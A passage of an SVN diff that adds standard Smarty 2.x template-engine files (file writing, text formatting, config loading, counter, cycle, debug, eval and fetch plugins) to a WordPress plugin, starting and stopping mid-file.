+    preg_match_all('!('.$_tag_start.'(.*)'.$_tag_end.')!Us',
+                   $params['compiled_content'], $_match_source, PREG_SET_ORDER);
+
+    // no nocache-parts found: done
+    if (count($_match_source)==0) return;
+
+    // convert the matched php-code to functions
+    $_include_compiled =  "<?php /* Smarty version ".$smarty->_version.", created on ".strftime("%Y-%m-%d %H:%M:%S")."\n";
+    $_include_compiled .= "         compiled from " . strtr(urlencode($params['resource_name']), array('%2F'=>'/', '%3A'=>':')) . " */\n\n";
+
+    $_compile_path = $params['include_file_path'];
+
+    $smarty->_cache_serials[$_compile_path] = $params['cache_serial'];
+    $_include_compiled .= "\$this->_cache_serials['".$_compile_path."'] = '".$params['cache_serial']."';\n\n?>";
+
+    $_include_compiled .= $params['plugins_code'];
+    $_include_compiled .= "<?php";
+
+    $this_varname = ((double)phpversion() >= 5.0) ? '_smarty' : 'this';
+    for ($_i = 0, $_for_max = count($_match_source); $_i < $_for_max; $_i++) {
+        $_match =& $_match_source[$_i];
+        $source = $_match[4];
+        if ($this_varname == '_smarty') {
+            /* rename $this to $_smarty in the sourcecode */
+            $tokens = token_get_all('<?php ' . $_match[4]);
+
+            /* remove trailing <?php */
+            $open_tag = '';
+            while ($tokens) {
+                $token = array_shift($tokens);
+                if (is_array($token)) {
+                    $open_tag .= $token[1];
+                } else {
+                    $open_tag .= $token;
+                }
+                if ($open_tag == '<?php ') break;
+            }
+
+            for ($i=0, $count = count($tokens); $i < $count; $i++) {
+                if (is_array($tokens[$i])) {
+                    if ($tokens[$i][0] == T_VARIABLE && $tokens[$i][1] == '$this') {
+                        $tokens[$i] = '$' . $this_varname;
+                    } else {
+                        $tokens[$i] = $tokens[$i][1];
+                    }                   
+                }
+            }
+            $source = implode('', $tokens);
+        }
+
+        /* add function to compiled include */
+        $_include_compiled .= "
+function _smarty_tplfunc_$_match[2]_$_match[3](&\$$this_varname)
+{
+$source
+}
+
+";
+    }
+    $_include_compiled .= "\n\n?>\n";
+
+    $_params = array('filename' => $_compile_path,
+                     'contents' => $_include_compiled, 'create_dirs' => true);
+
+    require_once(SMARTY_CORE_DIR . 'core.write_file.php');
+    smarty_core_write_file($_params, $smarty);
+    return true;
+}
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_compiled_resource.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_compiled_resource.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_compiled_resource.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * write the compiled resource
+ *
+ * @param string $compile_path
+ * @param string $compiled_content
+ * @return true
+ */
+function smarty_core_write_compiled_resource($params, &$smarty)
+{
+    if(!@is_writable($smarty->compile_dir)) {
+        // compile_dir not writable, see if it exists
+        if(!@is_dir($smarty->compile_dir)) {
+            $smarty->trigger_error('the $compile_dir \'' . $smarty->compile_dir . '\' does not exist, or is not a directory.', E_USER_ERROR);
+            return false;
+        }
+        $smarty->trigger_error('unable to write to $compile_dir \'' . realpath($smarty->compile_dir) . '\'. Be sure $compile_dir is writable by the web server user.', E_USER_ERROR);
+        return false;
+    }
+
+    $_params = array('filename' => $params['compile_path'], 'contents' => $params['compiled_content'], 'create_dirs' => true);
+    require_once(SMARTY_CORE_DIR . 'core.write_file.php');
+    smarty_core_write_file($_params, $smarty);
+    return true;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_file.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_file.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/internals/core.write_file.php	(revision 44)
@@ -0,0 +1,54 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * write out a file to disk
+ *
+ * @param string $filename
+ * @param string $contents
+ * @param boolean $create_dirs
+ * @return boolean
+ */
+function smarty_core_write_file($params, &$smarty)
+{
+    $_dirname = dirname($params['filename']);
+
+    if ($params['create_dirs']) {
+        $_params = array('dir' => $_dirname);
+        require_once(SMARTY_CORE_DIR . 'core.create_dir_structure.php');
+        smarty_core_create_dir_structure($_params, $smarty);
+    }
+
+    // write to tmp file, then rename it to avoid
+    // file locking race condition
+    $_tmp_file = tempnam($_dirname, 'wrt');
+
+    if (!($fd = @fopen($_tmp_file, 'wb'))) {
+        $_tmp_file = $_dirname . DIRECTORY_SEPARATOR . uniqid('wrt');
+        if (!($fd = @fopen($_tmp_file, 'wb'))) {
+            $smarty->trigger_error("problem writing temporary file '$_tmp_file'");
+            return false;
+        }
+    }
+
+    fwrite($fd, $params['contents']);
+    fclose($fd);
+
+    // Delete the file if it allready exists (this is needed on Win,
+    // because it cannot overwrite files with rename()
+    if (file_exists($params['filename'])) {
+        @unlink($params['filename']);
+    }
+    @rename($_tmp_file, $params['filename']);
+    @chmod($params['filename'], $smarty->_file_perms);
+
+    return true;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/block.textformat.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/block.textformat.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/block.textformat.php	(revision 44)
@@ -0,0 +1,103 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {textformat}{/textformat} block plugin
+ *
+ * Type:     block function<br>
+ * Name:     textformat<br>
+ * Purpose:  format text a certain way with preset styles
+ *           or custom wrap/indent settings<br>
+ * @link http://smarty.php.net/manual/en/language.function.textformat.php {textformat}
+ *       (Smarty online manual)
+ * @param array
+ * <pre>
+ * Params:   style: string (email)
+ *           indent: integer (0)
+ *           wrap: integer (80)
+ *           wrap_char string ("\n")
+ *           indent_char: string (" ")
+ *           wrap_boundary: boolean (true)
+ * </pre>
+ * @author Monte Ohrt <monte at ohrt dot com>
+ * @param string contents of the block
+ * @param Smarty clever simulation of a method
+ * @return string string $content re-formatted
+ */
+function smarty_block_textformat($params, $content, &$smarty)
+{
+    if (is_null($content)) {
+        return;
+    }
+
+    $style = null;
+    $indent = 0;
+    $indent_first = 0;
+    $indent_char = ' ';
+    $wrap = 80;
+    $wrap_char = "\n";
+    $wrap_cut = false;
+    $assign = null;
+    
+    foreach ($params as $_key => $_val) {
+        switch ($_key) {
+            case 'style':
+            case 'indent_char':
+            case 'wrap_char':
+            case 'assign':
+                $$_key = (string)$_val;
+                break;
+
+            case 'indent':
+            case 'indent_first':
+            case 'wrap':
+                $$_key = (int)$_val;
+                break;
+
+            case 'wrap_cut':
+                $$_key = (bool)$_val;
+                break;
+
+            default:
+                $smarty->trigger_error("textformat: unknown attribute '$_key'");
+        }
+    }
+
+    if ($style == 'email') {
+        $wrap = 72;
+    }
+
+    // split into paragraphs
+    $_paragraphs = preg_split('![\r\n][\r\n]!',$content);
+    $_output = '';
+
+    for($_x = 0, $_y = count($_paragraphs); $_x < $_y; $_x++) {
+        if ($_paragraphs[$_x] == '') {
+            continue;
+        }
+        // convert mult. spaces & special chars to single space
+        $_paragraphs[$_x] = preg_replace(array('!\s+!','!(^\s+)|(\s+$)!'), array(' ',''), $_paragraphs[$_x]);
+        // indent first line
+        if($indent_first > 0) {
+            $_paragraphs[$_x] = str_repeat($indent_char, $indent_first) . $_paragraphs[$_x];
+        }
+        // wordwrap sentences
+        $_paragraphs[$_x] = wordwrap($_paragraphs[$_x], $wrap - $indent, $wrap_char, $wrap_cut);
+        // indent lines
+        if($indent > 0) {
+            $_paragraphs[$_x] = preg_replace('!^!m', str_repeat($indent_char, $indent), $_paragraphs[$_x]);
+        }
+    }
+    $_output = implode($wrap_char . $wrap_char, $_paragraphs);
+
+    return $assign ? $smarty->assign($assign, $_output) : $_output;
+
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/compiler.assign.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/compiler.assign.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/compiler.assign.php	(revision 44)
@@ -0,0 +1,40 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {assign} compiler function plugin
+ *
+ * Type:     compiler function<br>
+ * Name:     assign<br>
+ * Purpose:  assign a value to a template variable
+ * @link http://smarty.php.net/manual/en/language.custom.functions.php#LANGUAGE.FUNCTION.ASSIGN {assign}
+ *       (Smarty online manual)
+ * @author Monte Ohrt <monte at ohrt dot com> (initial author)
+ * @auther messju mohr <messju at lammfellpuschen dot de> (conversion to compiler function)
+ * @param string containing var-attribute and value-attribute
+ * @param Smarty_Compiler
+ */
+function smarty_compiler_assign($tag_attrs, &$compiler)
+{
+    $_params = $compiler->_parse_attrs($tag_attrs);
+
+    if (!isset($_params['var'])) {
+        $compiler->_syntax_error("assign: missing 'var' parameter", E_USER_WARNING);
+        return;
+    }
+
+    if (!isset($_params['value'])) {
+        $compiler->_syntax_error("assign: missing 'value' parameter", E_USER_WARNING);
+        return;
+    }
+
+    return "\$this->assign({$_params['var']}, {$_params['value']});";
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.assign_debug_info.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.assign_debug_info.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.assign_debug_info.php	(revision 44)
@@ -0,0 +1,40 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {assign_debug_info} function plugin
+ *
+ * Type:     function<br>
+ * Name:     assign_debug_info<br>
+ * Purpose:  assign debug info to the template<br>
+ * @author Monte Ohrt <monte at ohrt dot com>
+ * @param array unused in this plugin, this plugin uses {@link Smarty::$_config},
+ *              {@link Smarty::$_tpl_vars} and {@link Smarty::$_smarty_debug_info}
+ * @param Smarty
+ */
+function smarty_function_assign_debug_info($params, &$smarty)
+{
+    $assigned_vars = $smarty->_tpl_vars;
+    ksort($assigned_vars);
+    if (@is_array($smarty->_config[0])) {
+        $config_vars = $smarty->_config[0];
+        ksort($config_vars);
+        $smarty->assign("_debug_config_keys", array_keys($config_vars));
+        $smarty->assign("_debug_config_vals", array_values($config_vars));
+    }
+    
+    $included_templates = $smarty->_smarty_debug_info;
+    
+    $smarty->assign("_debug_keys", array_keys($assigned_vars));
+    $smarty->assign("_debug_vals", array_values($assigned_vars));
+    
+    $smarty->assign("_debug_tpls", $included_templates);
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.config_load.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.config_load.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.config_load.php	(revision 44)
@@ -0,0 +1,142 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {config_load} function plugin
+ *
+ * Type:     function<br>
+ * Name:     config_load<br>
+ * Purpose:  load config file vars
+ * @link http://smarty.php.net/manual/en/language.function.config.load.php {config_load}
+ *       (Smarty online manual)
+ * @author Monte Ohrt <monte at ohrt dot com>
+ * @author messju mohr <messju at lammfellpuschen dot de> (added use of resources)
+ * @param array Format:
+ * <pre>
+ * array('file' => required config file name,
+ *       'section' => optional config file section to load
+ *       'scope' => local/parent/global
+ *       'global' => overrides scope, setting to parent if true)
+ * </pre>
+ * @param Smarty
+ */
+function smarty_function_config_load($params, &$smarty)
+{
+        if ($smarty->debugging) {
+            $_params = array();
+            require_once(SMARTY_CORE_DIR . 'core.get_microtime.php');
+            $_debug_start_time = smarty_core_get_microtime($_params, $smarty);
+        }
+
+        $_file = isset($params['file']) ? $smarty->_dequote($params['file']) : null;
+        $_section = isset($params['section']) ? $smarty->_dequote($params['section']) : null;
+        $_scope = isset($params['scope']) ? $smarty->_dequote($params['scope']) : 'global';
+        $_global = isset($params['global']) ? $smarty->_dequote($params['global']) : false;
+
+        if (!isset($_file) || strlen($_file) == 0) {
+            $smarty->trigger_error("missing 'file' attribute in config_load tag", E_USER_ERROR, __FILE__, __LINE__);
+        }
+
+        if (isset($_scope)) {
+            if ($_scope != 'local' &&
+                $_scope != 'parent' &&
+                $_scope != 'global') {
+                $smarty->trigger_error("invalid 'scope' attribute value", E_USER_ERROR, __FILE__, __LINE__);
+            }
+        } else {
+            if ($_global) {
+                $_scope = 'parent';
+            } else {
+                $_scope = 'local';
+            }
+        }
+
+        $_params = array('resource_name' => $_file,
+                         'resource_base_path' => $smarty->config_dir,
+                         'get_source' => false);
+        $smarty->_parse_resource_name($_params);
+        $_file_path = $_params['resource_type'] . ':' . $_params['resource_name'];
+        if (isset($_section))
+            $_compile_file = $smarty->_get_compile_path($_file_path.'|'.$_section);
+        else
+            $_compile_file = $smarty->_get_compile_path($_file_path);
+
+        if($smarty->force_compile || !file_exists($_compile_file)) {
+            $_compile = true;
+        } elseif ($smarty->compile_check) {
+            $_params = array('resource_name' => $_file,
+                             'resource_base_path' => $smarty->config_dir,
+                             'get_source' => false);
+            $_compile = $smarty->_fetch_resource_info($_params) &&
+                $_params['resource_timestamp'] > filemtime($_compile_file);
+        } else {
+            $_compile = false;
+        }
+
+        if($_compile) {
+            // compile config file
+            if(!is_object($smarty->_conf_obj)) {
+                require_once SMARTY_DIR . $smarty->config_class . '.class.php';
+                $smarty->_conf_obj = new $smarty->config_class();
+                $smarty->_conf_obj->overwrite = $smarty->config_overwrite;
+                $smarty->_conf_obj->booleanize = $smarty->config_booleanize;
+                $smarty->_conf_obj->read_hidden = $smarty->config_read_hidden;
+                $smarty->_conf_obj->fix_newlines = $smarty->config_fix_newlines;
+            }
+
+            $_params = array('resource_name' => $_file,
+                             'resource_base_path' => $smarty->config_dir,
+                             $_params['get_source'] = true);
+            if (!$smarty->_fetch_resource_info($_params)) {
+                return;
+            }
+            $smarty->_conf_obj->set_file_contents($_file, $_params['source_content']);
+            $_config_vars = array_merge($smarty->_conf_obj->get($_file),
+                    $smarty->_conf_obj->get($_file, $_section));
+            if(function_exists('var_export')) {
+                $_output = '<?php $_config_vars = ' . var_export($_config_vars, true) . '; ?>';
+            } else {
+                $_output = '<?php $_config_vars = unserialize(\'' . strtr(serialize($_config_vars),array('\''=>'\\\'', '\\'=>'\\\\')) . '\'); ?>';
+            }
+            $_params = (array('compile_path' => $_compile_file, 'compiled_content' => $_output, 'resource_timestamp' => $_params['resource_timestamp']));
+            require_once(SMARTY_CORE_DIR . 'core.write_compiled_resource.php');
+            smarty_core_write_compiled_resource($_params, $smarty);
+        } else {
+            include($_compile_file);
+        }
+
+        if ($smarty->caching) {
+            $smarty->_cache_info['config'][$_file] = true;
+        }
+
+        $smarty->_config[0]['vars'] = @array_merge($smarty->_config[0]['vars'], $_config_vars);
+        $smarty->_config[0]['files'][$_file] = true;
+
+        if ($_scope == 'parent') {
+                $smarty->_config[1]['vars'] = @array_merge($smarty->_config[1]['vars'], $_config_vars);
+                $smarty->_config[1]['files'][$_file] = true;
+        } else if ($_scope == 'global') {
+            for ($i = 1, $for_max = count($smarty->_config); $i < $for_max; $i++) {
+                $smarty->_config[$i]['vars'] = @array_merge($smarty->_config[$i]['vars'], $_config_vars);
+                $smarty->_config[$i]['files'][$_file] = true;
+            }
+        }
+
+        if ($smarty->debugging) {
+            $_params = array();
+            require_once(SMARTY_CORE_DIR . 'core.get_microtime.php');
+            $smarty->_smarty_debug_info[] = array('type'      => 'config',
+                                                'filename'  => $_file.' ['.$_section.'] '.$_scope,
+                                                'depth'     => $smarty->_inclusion_depth,
+                                                'exec_time' => smarty_core_get_microtime($_params, $smarty) - $_debug_start_time);
+        }
+
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.counter.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.counter.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.counter.php	(revision 44)
@@ -0,0 +1,80 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {counter} function plugin
+ *
+ * Type:     function<br>
+ * Name:     counter<br>
+ * Purpose:  print out a counter value
+ * @author Monte Ohrt <monte at ohrt dot com>
+ * @link http://smarty.php.net/manual/en/language.function.counter.php {counter}
+ *       (Smarty online manual)
+ * @param array parameters
+ * @param Smarty
+ * @return string|null
+ */
+function smarty_function_counter($params, &$smarty)
+{
+    static $counters = array();
+
+    $name = (isset($params['name'])) ? $params['name'] : 'default';
+    if (!isset($counters[$name])) {
+        $counters[$name] = array(
+            'start'=>1,
+            'skip'=>1,
+            'direction'=>'up',
+            'count'=>1
+            );
+    }
+    $counter =& $counters[$name];
+
+    if (isset($params['start'])) {
+        $counter['start'] = $counter['count'] = (int)$params['start'];
+    }
+
+    if (!empty($params['assign'])) {
+        $counter['assign'] = $params['assign'];
+    }
+
+    if (isset($counter['assign'])) {
+        $smarty->assign($counter['assign'], $counter['count']);
+    }
+    
+    if (isset($params['print'])) {
+        $print = (bool)$params['print'];
+    } else {
+        $print = empty($counter['assign']);
+    }
+
+    if ($print) {
+        $retval = $counter['count'];
+    } else {
+        $retval = null;
+    }
+
+    if (isset($params['skip'])) {
+        $counter['skip'] = $params['skip'];
+    }
+    
+    if (isset($params['direction'])) {
+        $counter['direction'] = $params['direction'];
+    }
+
+    if ($counter['direction'] == "down")
+        $counter['count'] -= $counter['skip'];
+    else
+        $counter['count'] += $counter['skip'];
+    
+    return $retval;
+    
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.cycle.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.cycle.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.cycle.php	(revision 44)
@@ -0,0 +1,102 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+/**
+ * Smarty {cycle} function plugin
+ *
+ * Type:     function<br>
+ * Name:     cycle<br>
+ * Date:     May 3, 2002<br>
+ * Purpose:  cycle through given values<br>
+ * Input:
+ *         - name = name of cycle (optional)
+ *         - values = comma separated list of values to cycle,
+ *                    or an array of values to cycle
+ *                    (this can be left out for subsequent calls)
+ *         - reset = boolean - resets given var to true
+ *         - print = boolean - print var or not. default is true
+ *         - advance = boolean - whether or not to advance the cycle
+ *         - delimiter = the value delimiter, default is ","
+ *         - assign = boolean, assigns to template var instead of
+ *                    printed.
+ *
+ * Examples:<br>
+ * <pre>
+ * {cycle values="#eeeeee,#d0d0d0d"}
+ * {cycle name=row values="one,two,three" reset=true}
+ * {cycle name=row}
+ * </pre>
+ * @link http://smarty.php.net/manual/en/language.function.cycle.php {cycle}
+ *       (Smarty online manual)
+ * @author Monte Ohrt <monte at ohrt dot com>
+ * @author credit to Mark Priatel <mpriatel@rogers.com>
+ * @author credit to Gerard <gerard@interfold.com>
+ * @author credit to Jason Sweat <jsweat_php@yahoo.com>
+ * @version  1.3
+ * @param array
+ * @param Smarty
+ * @return string|null
+ */
+function smarty_function_cycle($params, &$smarty)
+{
+    static $cycle_vars;
+    
+    $name = (empty($params['name'])) ? 'default' : $params['name'];
+    $print = (isset($params['print'])) ? (bool)$params['print'] : true;
+    $advance = (isset($params['advance'])) ? (bool)$params['advance'] : true;
+    $reset = (isset($params['reset'])) ? (bool)$params['reset'] : false;
+            
+    if (!in_array('values', array_keys($params))) {
+        if(!isset($cycle_vars[$name]['values'])) {
+            $smarty->trigger_error("cycle: missing 'values' parameter");
+            return;
+        }
+    } else {
+        if(isset($cycle_vars[$name]['values'])
+            && $cycle_vars[$name]['values'] != $params['values'] ) {
+            $cycle_vars[$name]['index'] = 0;
+        }
+        $cycle_vars[$name]['values'] = $params['values'];
+    }
+
+    $cycle_vars[$name]['delimiter'] = (isset($params['delimiter'])) ? $params['delimiter'] : ',';
+    
+    if(is_array($cycle_vars[$name]['values'])) {
+        $cycle_array = $cycle_vars[$name]['values'];
+    } else {
+        $cycle_array = explode($cycle_vars[$name]['delimiter'],$cycle_vars[$name]['values']);
+    }
+    
+    if(!isset($cycle_vars[$name]['index']) || $reset ) {
+        $cycle_vars[$name]['index'] = 0;
+    }
+    
+    if (isset($params['assign'])) {
+        $print = false;
+        $smarty->assign($params['assign'], $cycle_array[$cycle_vars[$name]['index']]);
+    }
+        
+    if($print) {
+        $retval = $cycle_array[$cycle_vars[$name]['index']];
+    } else {
+        $retval = null;
+    }
+
+    if($advance) {
+        if ( $cycle_vars[$name]['index'] >= count($cycle_array) -1 ) {
+            $cycle_vars[$name]['index'] = 0;
+        } else {
+            $cycle_vars[$name]['index']++;
+        }
+    }
+    
+    return $retval;
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.debug.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.debug.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.debug.php	(revision 44)
@@ -0,0 +1,35 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {debug} function plugin
+ *
+ * Type:     function<br>
+ * Name:     debug<br>
+ * Date:     July 1, 2002<br>
+ * Purpose:  popup debug window
+ * @link http://smarty.php.net/manual/en/language.function.debug.php {debug}
+ *       (Smarty online manual)
+ * @author   Monte Ohrt <monte at ohrt dot com>
+ * @version  1.0
+ * @param array
+ * @param Smarty
+ * @return string output from {@link Smarty::_generate_debug_output()}
+ */
+function smarty_function_debug($params, &$smarty)
+{
+    if (isset($params['output'])) {
+        $smarty->assign('_smarty_debug_output', $params['output']);
+    }
+    require_once(SMARTY_CORE_DIR . 'core.display_debug_console.php');
+    return smarty_core_display_debug_console(null, $smarty);
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.eval.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.eval.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.eval.php	(revision 44)
@@ -0,0 +1,49 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {eval} function plugin
+ *
+ * Type:     function<br>
+ * Name:     eval<br>
+ * Purpose:  evaluate a template variable as a template<br>
+ * @link http://smarty.php.net/manual/en/language.function.eval.php {eval}
+ *       (Smarty online manual)
+ * @author Monte Ohrt <monte at ohrt dot com>
+ * @param array
+ * @param Smarty
+ */
+function smarty_function_eval($params, &$smarty)
+{
+
+    if (!isset($params['var'])) {
+        $smarty->trigger_error("eval: missing 'var' parameter");
+        return;
+    }
+
+    if($params['var'] == '') {
+        return;
+    }
+
+    $smarty->_compile_source('evaluated template', $params['var'], $_var_compiled);
+
+    ob_start();
+    $smarty->_eval('?>' . $_var_compiled);
+    $_contents = ob_get_contents();
+    ob_end_clean();
+
+    if (!empty($params['assign'])) {
+        $smarty->assign($params['assign'], $_contents);
+    } else {
+        return $_contents;
+    }
+}
+
+/* vim: set expandtab: */
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.fetch.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.fetch.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/odlinks/includes/Smarty/plugins/function.fetch.php	(revision 44)
@@ -0,0 +1,221 @@
+<?php
+/**
+ * Smarty plugin
+ * @package Smarty
+ * @subpackage plugins
+ */
+
+
+/**
+ * Smarty {fetch} plugin
+ *
+ * Type:     function<br>
+ * Name:     fetch<br>
+ * Purpose:  fetch file, web or ftp data and display results
+ * @link http://smarty.php.net/manual/en/language.function.fetch.php {fetch}
+ *       (Smarty online manual)
+ * @author Monte Ohrt <monte at ohrt dot com>
+ * @param array
+ * @param Smarty
+ * @return string|null if the assign parameter is passed, Smarty assigns the
+ *                     result to a template variable
+ */
+function smarty_function_fetch($params, &$smarty)
+{
+    if (empty($params['file'])) {
+        $smarty->_trigger_fatal_error("[plugin] parameter 'file' cannot be empty");
+        return;
+    }
+
+    $content = '';
+    if ($smarty->security && !preg_match('!^(http|ftp)://!i', $params['file'])) {
+        $_params = array('resource_type' => 'file', 'resource_name' => $params['file']);
+        require_once(SMARTY_CORE_DIR . 'core.is_secure.php');
+        if(!smarty_core_is_secure($_params, $smarty)) {
+            $smarty->_trigger_fatal_error('[plugin] (secure mode) fetch \'' . $params['file'] . '\' is not allowed');
+            return;
+        }
+        
+        // fetch the file
+        if($fp = @fopen($params['file'],'r')) {
+            while(!feof($fp)) {
+                $content .= fgets ($fp,4096);
+            }
+            fclose($fp);
+        } else {
+            $smarty->_trigger_fatal_error('[plugin] fetch cannot read file \'' . $params['file'] . '\'');
+            return;
+        }
+    } else {
+        // not a local file
+        if(preg_match('!^http://!i',$params['file'])) {
+            // http fetch
+            if($uri_parts = parse_url($params['file'])) {
+                // set defaults
+                $host = $server_name = $uri_parts['host'];
+                $timeout = 30;
+                $accept = "image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*";
+                $agent = "Smarty Template Engine ".$smarty->_version;
+                $referer = "";
+                $uri = !empty($uri_parts['path']) ? $uri_parts['path'] : '/';
+                $uri .= !empty($uri_parts['query']) ? '?' . $uri_parts['query'] : '';
+                $_is_proxy = false;
+                if(empty($uri_parts['port'])) {
+                    $port = 80;
+                } else {
+                    $port = $uri_parts['port'];
+                }
+                if(!empty($uri_parts['user'])) {
+                    $user = $uri_parts['user'];
+                }
+                if(!empty($uri_parts['pass'])) {
+                    $pass = $uri_parts['pass'];
+                }
+                // loop through parameters, setup headers
+                foreach($params as $param_key => $param_value) {
+                    switch($param_key) {
+                        case "file":
+                        case "assign":
+                        case "assign_headers":
+                            break;
+                        case "user":
+                            if(!empty($param_value)) {
+                                $user = $param_value;
+                            }
+                            break;
+                        case "pass":
+                            if(!empty($param_value)) {
+                                $pass = $param_value;
+                            }
+                            break;
+                        case "accept":
+                            if(!empty($param_value)) {
+                                $accept = $param_value;
+                            }
+                            break;
+                        case "header":
+                            if(!empty($param_value)) {
+                                if(!preg_match('![\w\d-]+: .+!',$param_value)) {
+                                    $smarty->_trigger_fatal_error("[plugin] invalid header format '".$param_value."'");
+                                    return;
+                                } else {
+                                    $extra_headers[] = $param_value;
+                                }
+                            }
+                            break;
+                        case "proxy_host":
+                            if(!empty($param_value)) {
+                                $proxy_host = $param_value;
+                            }
+                            break;
+                        case "proxy_port":
+                            if(!preg_match('!\D!', $param_value)) {
+                                $proxy_port = (int) $param_value;
+                            } else {
+                                $smarty->_trigger_fatal_error("[plugin] invalid value for attribute '".$param_key."'");
+                                return;
+                            }
+                            break;
+                        case "agent":
+                            if(!empty($param_value)) {
+                                $agent = $param_value;
+                            }
+                            break;
+                        case "referer":
+                            if(!empty($param_value)) {
+                                $referer = $param_value;
+                            }
+                            break;
+                        case "timeout":
+                            if(!preg_match('!\D!', $param_value)) {
+                                $timeout = (int) $param_value;
+                            } else {
+                                $smarty->_trigger_fatal_error("[plugin] invalid value for attribute '".$param_key."'");
+                                return;
+                            }
+                            break;
+                        default:
+                            $smarty->_trigger_fatal_error("[plugin] unrecognized attribute '".$param_key."'");
+                            return;
+                    }
+                }
+                if(!empty($proxy_host) && !empty($proxy_port)) {
+                    $_is_proxy = true;
+                    $fp = fsockopen($proxy_host,$proxy_port,$errno,$errstr,$timeout);
+                } else {
+                    $fp = fsockopen($server_name,$port,$errno,$errstr,$timeout);
+                }
+
+                if(!$fp) {
+                    $smarty->_trigger_fatal_error("[plugin] unable to fetch: $errstr ($errno)");
+                    return;
+                } else {
+                    if($_is_proxy) {
+                        fputs($fp, 'GET ' . $params['file'] . " HTTP/1.0\r\n");
+                    } else {
+                        fputs($fp, "GET $uri HTTP/1.0\r\n");
+                    }
+                    if(!empty($host)) {
+                        fputs($fp, "Host: $host\r\n");
+                    }
+                    if(!empty($accept)) {
+                        fputs($fp, "Accept: $accept\r\n");
+                    }
+                    if(!empty($agent)) {
+                        fputs($fp, "User-Agent: $agent\r\n");
+                    }
+                    if(!empty($referer)) {
+                        fputs($fp, "Referer: $referer\r\n");
+                    }
+                    if(isset($extra_headers) && is_array($extra_headers)) {
